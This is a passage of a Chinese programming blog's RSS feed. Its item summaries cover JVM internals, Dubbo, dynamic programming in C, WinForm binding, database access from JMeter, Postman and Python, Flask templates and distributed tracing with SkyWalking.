      <pubDate>Sun, 24 Dec 2023 18:37:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/765f4b2a9abf765cce0302d6d0219d43/</guid>
      <description>什么是JVM？ JVM 本质上是一个运行在计算机上的程序，他的职责是运行Java字节码文件。&#xA;JVM的功能 1.解释和运行：对字节码文件中的指令实时的解释成机器码让计算机执行。&#xA;2.内存管理：自动为对象、方法等分配内存，自动的垃圾回收机制。&#xA;3.即时编译：对热点代码进行优化，提升执行效率，回收不再使用的对象。&#xA;常见的JVM Hotspot(OracleJDK版)：闭源、使用最广泛，稳定可靠，社区活跃JIT支持OracleJDK默认虚拟机。&#xA;HotSpot(OpenJDK版)：同上，开源，OpenJDK默认虚拟机，适用于对JDK有二次开发需求。&#xA;GraalVM：多语言支持高性能、JIT、AOT支持，适用于微服务、云原生架构需要多语言混合编程。&#xA;DragonwellJDK（龙井）：基于OpenJDK的增强高性能、bug修复、安全性提升JWarmup、ElasticHeap、Wisp特性支持，适用于电商、物流、金融领域对性能要求比较高。&#xA;Eclipse Openj9(原IBMJ9)：高性能、可扩展JIT、AOT特性支持，适用于微服务、云原生架构。&#xA;虚拟机的组成 类加载器（ClassLoader）：加载class字节码文件中的内容到内存中。&#xA;运行时的数据域（JVM管理的内存）：负责管理JVM使用到的内存，比如创建对象和销毁对象。&#xA;执行引擎（即时编译器，解释器，垃圾回收器等）：将字节码文件中的指令解释成机器码，同时使用即时编译器优化性能。&#xA;本地接口：调用本地已经编译的方法，比如虚拟机中提供的c/c++的方法。jdk中用native修饰的方法。&#xA;字节码文件的组成 基础信息 魔数、字节码文件对应的Java版本号 、访问标识(public final等等)、父类和接口 Magic魔数 ⚫ 文件是 无法通过文件扩展名 来确定文件类型的，文件扩展名可以随意修改，不影响文件的内容。 ⚫ 软件使用文件的头几个字节（文件头）去校验文件的类型，如果软件不支持该种类型就会出错。 ⚫ Java字节码文件中，将文件头称为 magic魔数 主副版本号 ⚫ 主副版本号指的是编译字节码文件的 JDK 版本号， 主版本号用来标识大版本号，JDK1.0-1.1使用了 45.0-45.3，JDK1.2是46之后每升级一个大版本就加1；副版本号是当主版本号相同时作为区分不同 版本的标识，一般只需要关心主版本号。 ⚫ 版本号的作用主要是判断当前字节码的版本和运行时的 JDK 是否兼容。 访问标识 标识是类还是接口、注解、枚举、模块 标识public final abstract 类、父类、接口索引 通过这些索引可以找到类、父类、接口的信息 常量池 保存了字符串常量、类或接口名、字段名 、主要在字节码指令中使用 ⚫ 字节码文件中常量池的作用：避免相同的内容重复定义，节省空间。 ⚫ 常量池中的数据都有一个编号，编号从1开始。在字段或者字节码指令中通过编号可以快速的找到对应的数据。 ⚫ 字节码指令中通过编号引用到常量池的过程称之为 符号引用 。 字段 ⚫当前类或接口声明的字段信息 方法 当前类或接口声明的方法信息 、字节码指令</description>
    </item>
    <item>
      <title>Settings中电池选项-Android13</title>
      <link>https://bchobby.github.io/posts/6b90b5ea5df633cb6dc1bfcf7f2392d0/</link>
      <pubDate>Sun, 24 Dec 2023 18:11:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b90b5ea5df633cb6dc1bfcf7f2392d0/</guid>
      <description>Settings中电池选项-Android13 1、设置中界面2、电池计算2.1 充电时间计算2.1.1 BatteryUsageStats获取2.1.2 BatteryStatsImpl计算 2.2 电池剩余使用时间2.2.1 Estimate获取2.2.2 BatteryStatsImpl计算 3、电池信息来源4、命令模拟* 日志 [电池]Android 9.0 电池未充电与充电字符串提示信息[通俗易懂]&#xA;1、设置中界面 packages/apps/Settings/src/com/android/settings/fuelgauge/PowerUsageSummary.java&#xA;packages/apps/Settings/res/xml/power_usage_summary.xml&#xA;packages/apps/Settings/src/com/android/settings/fuelgauge/BatteryUtils.java&#xA;packages/apps/Settings/src/com/android/settings/fuelgauge/BatteryInfo.java&#xA;12-23 13:13:23.184 602 715 I ActivityTaskManager: START u0 {act=android.intent.action.MAIN cmp=com.android.settings/.SubSettings (has extras)} from uid 1000 12-23 13:13:23.285 994 2135 D BatteryTipLoader: BatteryInfoLoader post query: 5ms 12-23 13:13:23.356 994 2135 D BatteryInfo: time for getBatteryInfo: 1ms 12-23 13:13:23.357 994 2135 D BatteryTipLoader: BatteryInfoLoader.loadInBackground: 82ms 12-23 13:13:23.950 994 994 D SettingsActivity: Switching to fragment com.</description>
    </item>
    <item>
      <title>浅谈Dubbo核心概念及架构流程</title>
      <link>https://bchobby.github.io/posts/c3091b1a9462e31698de605a26593dd3/</link>
      <pubDate>Sun, 24 Dec 2023 17:58:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c3091b1a9462e31698de605a26593dd3/</guid>
      <description>浅谈Dubbo核心概念及架构流程 前言重要概念1、SPI2、ServiceBean3、URL4、Invoker 整体流程1、架构图2、调用链路 笔者碎碎言，我们学习Dubbo应该学的是什么？&#xA;笔者是一名业务开发，认为一切目的都要为我们的目标服务，即日常工作有帮助，所以笔者今天应该学的是它的源码实现流程、设计思想、扩展点，过于细节的去理解记忆源码细节ROI则太低。&#xA;源码实现流程：让我们对Dubbo有一个整体的了解，日常遇到框架报错，可以更快定位原因设计思想：在面对类似的复杂的业务场景时，我们可以参考Dubbo设计，毕竟Dubbo已经给出了一个相对最优解扩展点：可以帮助我们在日常开发中借助三方框架更加方便的实现我们的功能。以我的亲身经历来说，就借助过Dubbo的Filter扩展链，完成对标记了@Deprecated接口的流量收集。还有泛化调用等场景 官网地址&#xA;前言 Dubbo源码主体流程可以总结为：服务提供者将编写的业务Service服务，按照某种协议序列化到注册中心，标记当前服务的网络资源所在的位置；服务消费者根据指定的key（version+interfaceName+group）去注册中心中找到对应的序列化数据，再将数据反序列化为服务消费者能够识别的格式，最终对目标资源发起调用。以此达到我们调用远程服务变成跟调用本地服务一样。&#xA;整体功能完成的基础上，Dubbo在设计上对扩展开放，一些比较重点的节点都能够进行扩展。如：自定义注册中心、自定义配置中心、自定义序列化协议、请求过滤器链Fiter等。一些个性功能的设计也是基于扩展点完成，如：mock机制、心跳机制、泛化掉用、异步调用、异常重试机制、回声测试等&#xA;重要概念 1、SPI Dubbo的SPI机制与Java原生的SPI基本类似，但功能更加丰富。&#xA;使用@Adaptive注解来指定某个类为某个接口的代理类，Dubbo在生成自适应扩展点对象时，实际上生成的就是@Adaptive注解所注解的类的实例对象实现了一套简单的AOP，如果一个接口的扩展点中包含了多个Wrapper类，那么在Dubbo在实例化完某个扩展点后，就会利用这些Wrapper类对这个实例进行包裹，比如：现在有一个DubboProtocol的实例，同时对于Protocol这个接口还有很多的Wrapper，比如ProtocolFilterWrapper、ProtocolListenerWrapper，那么，当对DubboProtocol的实例完成了IOC之后，就会先调用new ProtocolFilterWrapper(DubboProtocol实例)生成一个新的Protocol的实例，再对此实例进行IOC，完了之后，会再调用new ProtocolListenerWrapper(ProtocolFilterWrapper实例)生成一个新的Protocol的实例，然后进行IOC，从而完成DubboProtocol实例的AOP（类比装饰器模式，包一层） 基本用法如下：表示获取&#34;dubbo&#34;对应的Protocol扩展点。Protocol是一个接口。&#xA;ExtensionLoader&amp;lt;Protocol&amp;gt; extensionLoader = ExtensionLoader.getExtensionLoader(Protocol.class); Protocol http = extensionLoader.getExtension(&#34;dubbo&#34;); System.out.println(http); 2、ServiceBean ServiceBean表示一个Dubbo服务，相关参数含义：&#xA;ref，表示服务的具体实现类interface，表示服务的接口parameters，表示服务的参数（@Service注解中所配置的信息）application，表示服务所属的应用protocols，表示服务所使用的协议registries，表示服务所要注册的注册中心 补充：在扫描到一个@Service注解后，会得到两个Bean:&#xA;一个就是服务实现类本身一个Bean对象一个就是对应的ServiceBean类型的一个Bean对象 3、URL 官网：Dubbo 中的 URL 统一模型&#xA;定义了服务资源的协议、参数等信息。主要用于在各个扩展点之间传递数据，组成此 URL 对象的具体参数如下:&#xA;protocol：一般是 dubbo 中的各种协议 如：dubbo thrift http zkusername/password：用户名/密码host/port：主机/端口path：接口名称parameters：参数键值对 dubbo 认为 protocol，username，passwored，host，port，path 是主要的 URL 参数，其他键值对存放在 parameters 之中。示例如下：&#xA;dubbo://192.168.1.6:20880/moe.cnkirito.sample.HelloService?timeout=3000 描述一个 dubbo 协议的服务 zookeeper://127.0.0.1:2181/org.apache.dubbo.registry.RegistryService?application=demo-consumer&amp;amp;dubbo=2.0.2&amp;amp;interface=org.apache.dubbo.registry.RegistryService&amp;amp;pid=1214&amp;amp;qos.port=33333&amp;amp;timestamp=1545721981946 描述一个 zookeeper 注册中心 consumer://30.5.120.217/org.apache.dubbo.demo.DemoService?application=demo-consumer&amp;amp;category=consumers&amp;amp;check=false&amp;amp;dubbo=2.0.2&amp;amp;interface=org.apache.dubbo.demo.DemoService&amp;amp;methods=sayHello&amp;amp;pid=1209&amp;amp;qos.port=33333&amp;amp;side=consumer&amp;amp;timestamp=1545721827784 描述一个消费者 4、Invoker 属于Dubbo的核心模型，在代码实现层面类比递归调用的责任链设计模式&#xA;在服务提供方Invoker是javassist创建的服务类的实例，可以实现调用服务类内部的方法和修改字段。&#xA;在服务消费方的Invoker是基于Netty的客户端。&#xA;通过服务消费方Netty客户端获得服务提供方创建的服务类实例，而后消费方为保护服务类就需要为其创建代理类，这样就可以在不实例化服务类情况下安全有效的远程调用服务类内部方法并且得到具体数据了。</description>
    </item>
    <item>
      <title>【五】【C语言\动态规划】删除并获得点数、粉刷房子、买卖股票的最佳时机含冷冻期，三道题目深度解析</title>
      <link>https://bchobby.github.io/posts/868635800f8842ff24c9a525daeeaddc/</link>
      <pubDate>Sun, 24 Dec 2023 17:52:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/868635800f8842ff24c9a525daeeaddc/</guid>
      <description>动态规划 动态规划就像是解决问题的一种策略，它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题，并将每个小问题的解保存起来。这样，当我们需要解决原始问题的时候，我们就可以直接利用已经计算好的小问题的解，而不需要重复计算。&#xA;动态规划与数学归纳法思想上十分相似。&#xA;数学归纳法：&#xA;基础步骤（base case）：首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况，可以直接验证命题是否成立。&#xA;归纳步骤（inductive step）：假设命题在某个情况下成立，然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。&#xA;通过反复迭代归纳步骤，我们可以推导出命题在所有情况下成立的结论。&#xA;动态规划：&#xA;状态表示：&#xA;状态转移方程：&#xA;初始化：&#xA;填表顺序：&#xA;返回值：&#xA;数学归纳法的基础步骤相当于动态规划中初始化步骤。&#xA;数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。&#xA;动态规划的思想和数学归纳法思想类似。&#xA;在动态规划中，首先得到状态在最小的基础情况下的值，然后通过状态转移方程，得到下一个状态的值，反复迭代，最终得到我们期望的状态下的值。&#xA;接下来我们通过三道例题，深入理解动态规划思想，以及实现动态规划的具体步骤。、&#xA;740. 删除并获得点数 题目解析 我们发现选择了一个数字，假设是x，那么x+1和x-1我们都不能再选择，这种模式非常像打家劫舍题目的模式。由此我们可以把此问题转化为打家劫舍问题。&#xA;由于1&amp;lt;=nums[i]&amp;lt;=1e4,所以我们可以创建一个1e4+1大小的数组count，count[i]表示i数字拥有的点数，也就是i*（i出现的次数），这样我们就可以把原问题转化为打家劫舍问题。&#xA;状态表示 我们将nums数组转化为count数组，接着对count数组分析即可。&#xA;我们可以定义dp[i]表示，1到i 这些数中，我们选择其中不相邻的部分项，所能得到的最大点数。&#xA;状态转移方程 我们想一想dp[i]怎么由其他的状态推导出来。&#xA;dp[i]表示，1到i 这些数中，我们选择其中不相邻的部分项，所能得到的最大点数。&#xA;dp[i-1]表示，1到i-1 这些数中，我们选择其中不相邻的部分项，所能得到的最大点数。&#xA;dp[i-2]表示，1到i-2 这些数中，我们选择其中不相邻的部分项，所能得到的最大点数。&#xA;我们对i的状态进行研究，一共可以分为两种情况，要么1-i这些数中，我们选择其中不相邻的部分项，其中选择了i，要么我们不选择i。&#xA;当我们选择i，那我们就不可能选择i-1，所以此时最大的点数应该是dp[i-2]+count[i]&#xA;如果我们不选择i，那我们就可以选择i-1,此时最大的点数应该是dp[i-1]，也就是从1到i-1这些数选择不相邻的部分项所能获得的最大点数。&#xA;故状态转移方程为，dp[i]=max(dp[i-2]+count[i],dp[i-1])&#xA;初始化 由状态转移方程我们知道，想要推导出i位置的状态，需要用到i-1和i-2位置的状态，所以我们需要初始化前两个位置的状态，也就是下标1和2。因为count[0]是不考虑的，nums&amp;gt;=1。&#xA;很容易可以得出。&#xA;dp[0]=count[0]&#xA;dp[1]=max(count[0],count[1])&#xA;填表顺序 从左到右&#xA;返回值 返回最后一个元素即dp[1e4]&#xA;代码实现 int deleteAndEarn(int* nums, int numsSize) { int n=numsSize; const int m=1e4+1; int count[m]; memset(count,0,sizeof(count)); for(int i=0;i&amp;lt;n;i++){ count[nums[i]]+=nums[i]; } int dp[m]; dp[1]=count[1]; dp[2]=fmax(count[1],count[2]); for(int i=3;i&amp;lt;=1e4;i++){ dp[i]=fmax(dp[i-2]+count[i],dp[i-1]); } return dp[m-1]; } 我们知道nums中存储的数字的范围是1到1e4，所以我们可以利用count数组， 定义count[i]表示i数字拥有的点数，我们只需要对count数组做一次打家劫舍就可以了。</description>
    </item>
    <item>
      <title>WinForm控件的数据绑定</title>
      <link>https://bchobby.github.io/posts/8aecd010a366f7c89360d2d88e7e7477/</link>
      <pubDate>Sun, 24 Dec 2023 15:48:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aecd010a366f7c89360d2d88e7e7477/</guid>
      <description>参考学习视频链接：01_哔哩哔哩_bilibili&#xA;1、控件的数据绑定通过 DataBindings进行绑定&#xA;label1.DataBindings.Add(&#34;Text&#34;, person, &#34;Name&#34;);&#xA;2、控件的双向绑定 通过类的继承 INotifyPropertyChanged&#xA;在类中增加委托函数，如下类范例&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Linq; using System.Runtime.CompilerServices; using System.Text; using System.Threading.Tasks; namespace WindowsFormsApp15 { public class Person :INotifyPropertyChanged { private string name; public string Name { get { return name; } set { name = value; OnPropertyChanged(); } } private int age; public event PropertyChangedEventHandler PropertyChanged; public int Age { get { return age; } set { age = value; if (age&amp;gt;45) { //用属性来赋值，可以触发set函数，若用字段则需要增加 OnPropertyChanged(&#34;</description>
    </item>
    <item>
      <title>Jmeter、postman、python 三大主流技术如何操作数据库？</title>
      <link>https://bchobby.github.io/posts/05eb492091f266b986dbf6a5e7071692/</link>
      <pubDate>Sun, 24 Dec 2023 15:32:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05eb492091f266b986dbf6a5e7071692/</guid>
      <description>1、前言 只要是做测试工作的，必然会接触到数据库，数据库在工作中的主要应用场景包括但不限于以下：&#xA;功能测试中，涉及数据展示功能，需查库校验数据正确及完整性；例如商品搜索功能&#xA;自动化测试或性能测试中，某些接口要跑通，需要关联到数据库操作；例如注册接口中短信验证码获取&#xA;自动化测试中断言处理，除了响应结果的断言，还包括到数据库断言&#xA;自动化测试或性能测试中，某些场景需批量造数据，可能需要用到数据库造数据&#xA;测试中，发现bug，需定位bug，可能需要查询到数据库进行定位&#xA;当我们利用Jmeter或postman工具进行接口测试，又或者利用python去进行自动化测试，比如商品搜索功能，需查库校验搜索商品结果的正确完整性，去实现断言。这里涉及到数据库如何操作呢？&#xA;如果你想学习自动化测试，我这边给你推荐一套视频，这个视频可以说是B站播放全网第一的自动化测试教程，同时在线人数到达1000人，并且还有笔记可以领取及各路大神技术交流：798478386 【已更新】B站讲的最详细的Python接口自动化测试实战教程全集（实战最新版）_哔哩哔哩_bilibili【已更新】B站讲的最详细的Python接口自动化测试实战教程全集（实战最新版）共计200条视频，包括：1、接口自动化之为什么要做接口自动化、2、接口自动化之request全局观、3、接口自动化之接口实战等，UP主更多精彩视频，请关注UP账号。https://www.bilibili.com/video/BV17p4y1B77x/?spm_id_from=333.337.search-card.all.click&#xA;2、Jmeter如何操作数据库? 第一步：通过JDBC Connection Configuration，建立数据库连接 在Jmeter线程组下右键-&amp;gt;配置元件-&amp;gt;选择 JDBC Connection Configuration，做如下配置&#xA;**注意：**jmeter工具去操作数据库不带驱动，需要自己添加驱动jar包，下载一个，并放到jmeter的lib目录下，然后点开测试计划，添加jar包路径。如下：&#xA;第二步：通过JDBC Request编写sql语句操作数据库，获取数据&#xA;在Jmeter线程组下右键-&amp;gt;取样器-&amp;gt;选择 JDBC Request，做如下配置：&#xA;点击运行，可以正常看到搜索结果：&#xA;3、postman如何操作数据库? postman本身没有数据库连接功能，需要用到node.js中的xmysql实现Rest API生成，再利用postman去对API进行请求，实现对数据库的操作。&#xA;第一步：环境准备，安装xmysql 1、node.js的安装：访问https://nodejs.org/en/download 进行下载并安装。安装成功后，在cmd命令行窗口输入node --verison，出现版本信息则表示安装成功。&#xA;2、xmysql的安装：在命令行窗口输入npm install -g xmysql 即可进行安装。安装完成后，输入xmysql 看到使用说明，则说明安装成功。&#xA;第二步：连接数据库 命令行窗口输入：xmysql -h 主机名 -u 用户名 -p 密码 -d 库名。如下：&#xA;第三步：postman操作数据库&#xA;postman对xmysql生成的Rest API进行增删改查操作，详见官方文档：https://github.com/o1lab/xmysql?utm_source=testingpai.com#xmysql--one-command-to-generate-rest-apis-for-any-mysql-database&#xA;示例如下：&#xA;postman查询数据操作如下：&#xA;4、python如何操作数据库? 第1步：环境准备，安装pymysql python中操作mysql数据库，需借助第三方库例pymysql来实现。所以需要先安装pymysql：&#xA;通过cmd命令行窗口输入pip install pymysql。安装后，通过pip show pymysql 检测是否安装成功。显示pymysql库信息则成功。&#xA;第2步：python文件中，编写代码操作数据库&#xA;import pymysql # 导包 # 第1步：连接数据库 conn = pymysql.</description>
    </item>
    <item>
      <title>7-1 递归二路归并排序</title>
      <link>https://bchobby.github.io/posts/4562b35a1c0c53ea28ed51982b4ed512/</link>
      <pubDate>Sun, 24 Dec 2023 13:02:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4562b35a1c0c53ea28ed51982b4ed512/</guid>
      <description>7-1 递归二路归并排序 本题目要求读入N个整数，采用递归的二路归并排序法进行排序，输出前3轮排序后的结果。&#xA;输入格式: 输入不超过100的正整数N和N个整数（空格分隔）。&#xA;输出格式: 输出三行，第一行为第一轮排序结果，第二行为第二轮排序结果，第三行为第三轮排序结果。数据间用一个空格分隔。&#xA;为简便起见，最后一个元素后也有一个空格。&#xA;输入样例: 5 5 4 3 2 1 输出样例: 4 5 3 2 1 3 4 5 2 1 3 4 5 1 2 简化版代码： #include &amp;lt;iostream&amp;gt; #include &amp;lt;algorithm&amp;gt; using namespace std; const int N = 110; int a[N], n, cnt; void merge_sort(int l, int r) { if (l &amp;gt;= r) return ; int mid = l + r &amp;gt;&amp;gt; 1; merge_sort(l, mid); merge_sort(mid + 1, r); sort(a + l, a + r + 1); if (++cnt &amp;gt; 3) return ; for (int i = 0; i &amp;lt; n; ++i) { printf(&#34;</description>
    </item>
    <item>
      <title>Flask 页面布局layout_main.html</title>
      <link>https://bchobby.github.io/posts/8039f2633544cf95f2d7c4dffd9ac7ae/</link>
      <pubDate>Sun, 24 Dec 2023 12:04:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8039f2633544cf95f2d7c4dffd9ac7ae/</guid>
      <description>Flask 页面布局layout_main.html 【源码来自编程浪子的flask点餐小程序】&#xA;web/templates/common/layout_main.html&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;title&amp;gt;管理后台&amp;lt;/title&amp;gt; &amp;lt;link href=&#34;{{ buildStaticUrl(&#39;/bootstrap/bootstrap.min.css&#39;) }}&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;link href=&#34;{{ buildStaticUrl(&#39;/font-awesome/css/font-awesome.min.css&#39;) }}&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;link href=&#34;{{ buildStaticUrl(&#39;/css/style.css&#39;) }}&#34; rel=&#34;stylesheet&#34;&amp;gt; {%block css %}{% endblock %} &amp;lt;body&amp;gt; &amp;lt;div id=&#34;wrapper&#34;&amp;gt; &amp;lt;nav class=&#34;navbar-default navbar-static-side&#34; role=&#34;navigation&#34;&amp;gt; &amp;lt;div class=&#34;sidebar-collapse&#34;&amp;gt; &amp;lt;ul class=&#34;nav metismenu&#34; id=&#34;side-menu&#34;&amp;gt; &amp;lt;li class=&#34;nav-header&#34;&amp;gt; &amp;lt;div class=&#34;profile-element text-center&#34;&amp;gt; &amp;lt;img alt=&#34;image&#34; class=&#34;img-circle&#34; src=&#34;{{ buildStaticUrl(&#39;/images/common/logo.png&#39;) }}&#34;/&amp;gt; &amp;lt;p class=&#34;text-muted&#34;&amp;gt;编程浪子&amp;lt;/p&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;logo-element&#34;&amp;gt; &amp;lt;img alt=&#34;image&#34; class=&#34;</description>
    </item>
    <item>
      <title>Flask 密码重设系统</title>
      <link>https://bchobby.github.io/posts/6690f62ad1f25da10bffe1c60793460e/</link>
      <pubDate>Sun, 24 Dec 2023 11:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6690f62ad1f25da10bffe1c60793460e/</guid>
      <description>Flask 密码重设系统【源码来自编程浪子Flask点餐小程序】 web/templates/user/reset_pwd.html {% extends &#34;common/layout_main.html&#34; %} {% block content %} {% include &#34;common/tab_user.html&#34; %} &amp;lt;div class=&#34;row m-t user_reset_pwd_wrap&#34;&amp;gt; &amp;lt;div class=&#34;col-lg-12&#34;&amp;gt; &amp;lt;h2 class=&#34;text-center&#34;&amp;gt;修改密码&amp;lt;/h2&amp;gt; &amp;lt;div class=&#34;form-horizontal m-t m-b&#34;&amp;gt; &amp;lt;div class=&#34;form-group&#34;&amp;gt; &amp;lt;label class=&#34;col-lg-2 control-label&#34;&amp;gt;账号:&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;col-lg-10&#34;&amp;gt; &amp;lt;label class=&#34;control-label&#34;&amp;gt;{{ current_user.login_name }}&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;hr-line-dashed&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;form-group&#34;&amp;gt; &amp;lt;label class=&#34;col-lg-2 control-label&#34;&amp;gt;手机:&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;col-lg-10&#34;&amp;gt; &amp;lt;label class=&#34;control-label&#34;&amp;gt;{{ current_user.mobile }}&amp;lt;/label&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;hr-line-dashed&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div class=&#34;form-group&#34;&amp;gt; &amp;lt;label class=&#34;col-lg-2 control-label&#34;&amp;gt;原密码:&amp;lt;/label&amp;gt; &amp;lt;div class=&#34;col-lg-10&#34;&amp;gt; &amp;lt;input type=&#34;password&#34; id=&#34;old_password&#34; class=&#34;form-control&#34; value=&#34;&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;</description>
    </item>
    <item>
      <title>[java] 注释</title>
      <link>https://bchobby.github.io/posts/4dc9d5e0fdfb7dd43ba4563e7e4cc072/</link>
      <pubDate>Sun, 24 Dec 2023 10:46:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4dc9d5e0fdfb7dd43ba4563e7e4cc072/</guid>
      <description>目录&#xA;单行注释:&#xA;多行注释:&#xA;文档注释:&#xA;doc标签&#xA;单行注释: 多行注释: 注意多行注释不能嵌套多行注释:&#xA;文档注释: 注释内容可以被JDK提供的工具 javadoc 所解析，生成一套以网页文件形式体现的该程序的说明文档，一般写在类。&#xA;doc标签 标签&#xA;描述&#xA;示例&#xA;@author&#xA;标识一个类的作者&#xA;@author description&#xA;@deprecated&#xA;指名一个过期的类或成员&#xA;@deprecated description&#xA;{@docRoot}&#xA;指明当前文档根目录的路径&#xA;Directory Path&#xA;@exception&#xA;标志一个类抛出的异常&#xA;@exception exception-name explanation&#xA;{@inheritDoc}&#xA;从直接父类继承的注释&#xA;Inherits a comment from the immediate surperclass.&#xA;{@link}&#xA;插入一个到另一个主题的链接&#xA;{@link name text}&#xA;{@linkplain}&#xA;插入一个到另一个主题的链接，但是该链接显示纯文本字体&#xA;Inserts an in-line link to another topic.&#xA;@param&#xA;说明一个方法的参数&#xA;@param parameter-name explanation&#xA;@return&#xA;说明返回值类型&#xA;@return explanation&#xA;@see&#xA;指定一个到另一个主题的链接&#xA;@see anchor</description>
    </item>
    <item>
      <title>[java] 转义字符&amp;&amp;控制台最常用快捷键</title>
      <link>https://bchobby.github.io/posts/67fd749eef8206367d9a3a85358bc5aa/</link>
      <pubDate>Sun, 24 Dec 2023 09:34:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67fd749eef8206367d9a3a85358bc5aa/</guid>
      <description>转义字符 1）\t：一个制表位，实现对齐的功能&#xA;2）\n：换行符&#xA;3) \\：一个\&#xA;4）\&#34;：一个&#34;&#xA;5) \&#39;：一个&#39;&#xA;6) \r：一个回车System.out.println(&#39;&#39;我亦无他AA\r唯手熟尔&#34;);&#xA;因为只是回车没有换行所以会输出为--- 唯手熟尔AA&#xA;回车重回前面开始输出&#xA;6) \r\n：一个回车System.out.println(&#39;&#39;我亦无他\r\n唯手熟尔&#34;);&#xA;输出为--- 我亦无他&#xA;唯手熟尔&#xA;控制台最常用快捷键 tab 在输入部分文件名后按下tab自动补齐剩余文件名 。&#xA;↑&#xA;按下上光标自动复制上一条指令 。</description>
    </item>
    <item>
      <title>【JAVA】分布式链路追踪技术概论</title>
      <link>https://bchobby.github.io/posts/8f81dbdf4e723e60be050ae3765032d0/</link>
      <pubDate>Sat, 23 Dec 2023 23:27:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f81dbdf4e723e60be050ae3765032d0/</guid>
      <description>目录&#xA;1.概述&#xA;2.基于日志的实现&#xA;2.1.实现思想&#xA;2.2.sleuth&#xA;2.2.可视化&#xA;3.基于agent的实现&#xA;4.联系作者&#xA;1.概述 当采用分布式架构后，一次请求会在多个服务之间流转，组成单次调用链的服务往往都分散在不同的服务器上。这就会带来一个问题：&#xA;故障难以溯源。&#xA;发起请求，然后请求报错，到底是调用链中哪一环出了问题？很难以定位。这时候就需要用到链路追踪技术了。所谓的链路追踪技术，也就是想办法让分布式系统中的单次请求的链路调用成为可被追踪的，便于在出现故障的时候进行快速的定位溯源。&#xA;目前有两套实现思路：&#xA;基于日志来实现，常用到的有Sleuth、zipkin&#xA;基于agent来实现，常用到的有skywaiking&#xA;本文着重于介绍链路追踪的概念和大概体系，sleuth、zipkin、skywalking具体的详细教程会在后续有文章推出进行具体介绍。&#xA;2.基于日志的实现 2.1.实现思想 当分布式系统中的一次请求报错时，如何定位错误？大家的第一反应可能都是去挨着看链路上各个服务的日志。这是肯定的，因为只能从这里下手。查这些日志的过程中有个很麻烦的问题——如何将不同服务间的日志对起来？一次调用在调用链的上一个服务留下了一条日志，我怎么知道这条日志对应着链路的下一个节点的哪条日志喃？所以要给每一次请求一个编号。基于这个思想，于是有了标准日志格式规范——OpenTracing。&#xA;OpenTracing规定了标准的日志格式如下：&#xA;服务ID，服务名称。&#xA;trace ID，每一次请求，调用链上的各个服务trace ID是相同的，也就是每一次请求的编号。&#xA;span ID，各个服务不同，用来区分链路上的不同节点。&#xA;导出标识，&#xA;2.2.sleuth 依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-starter-sleuth&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1.8&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 这里我们搭建了一个简单的微服务集群，然后在APP、AuthenticationCenter、Bis中均引入sleuth:&#xA;AuthenticationCenter，鉴权中心，用来登录获取token，校验token是否合法。&#xA;APP，服务提供方。&#xA;Bis，Bis调用AuthenticationCenter登录，然后校验token是否合法，合法的话，再去调用APP中提供的服务：&#xA;最后去访问bis，会看到：&#xA;bis的日志：&#xA;AuthenticationCenter的日志：&#xA;APP的日志：&#xA;可以看到Bis中一个方法中发出的所有请求在下游的trace ID全是一致的，只是span ID不同。&#xA;2.2.可视化 光有了日志，进行问题排查还是要一条条的翻，还是很繁琐。所以配套出现了可视化工具，由推特开发的——zipkin。其能对标准opentracing格式的日志进行收集和展示：&#xA;效果图：&#xA;3.基于agent的实现 skywalking是基于java agent来实现的，java agent是jkd 1.5引入的新特性，允许在main方法之前执行premain方法，来完成一些准备动作。关于 java gent，其在很多地方都有使用到，博主后续会有文章专门体系化的介绍java agent，并用java agent+字节码增强的方式来对类进行增强和监控，此处不展开。&#xA;sky walking的使用很简单，用-agent来启动即可：&#xA;java -javaagent:skywalking-agent.jar&#xA;-Dskywalking.agent.service_name=a-service&#xA;-Dskywalking.collector.backend_service=192.168.31.10:11800&#xA;-Dskywalking.logging.file_name=a-service-api.log&#xA;-jar a-service.jar&#xA;-Dskywalking.agent.service_name，应用的名称。&#xA;-Dskywalking.logging.file_name，数据需要上传到哪里。&#xA;skywalking拥有更加的强大和细粒度的图形监控界面。</description>
    </item>
    <item>
      <title>7-5 单源最短路径</title>
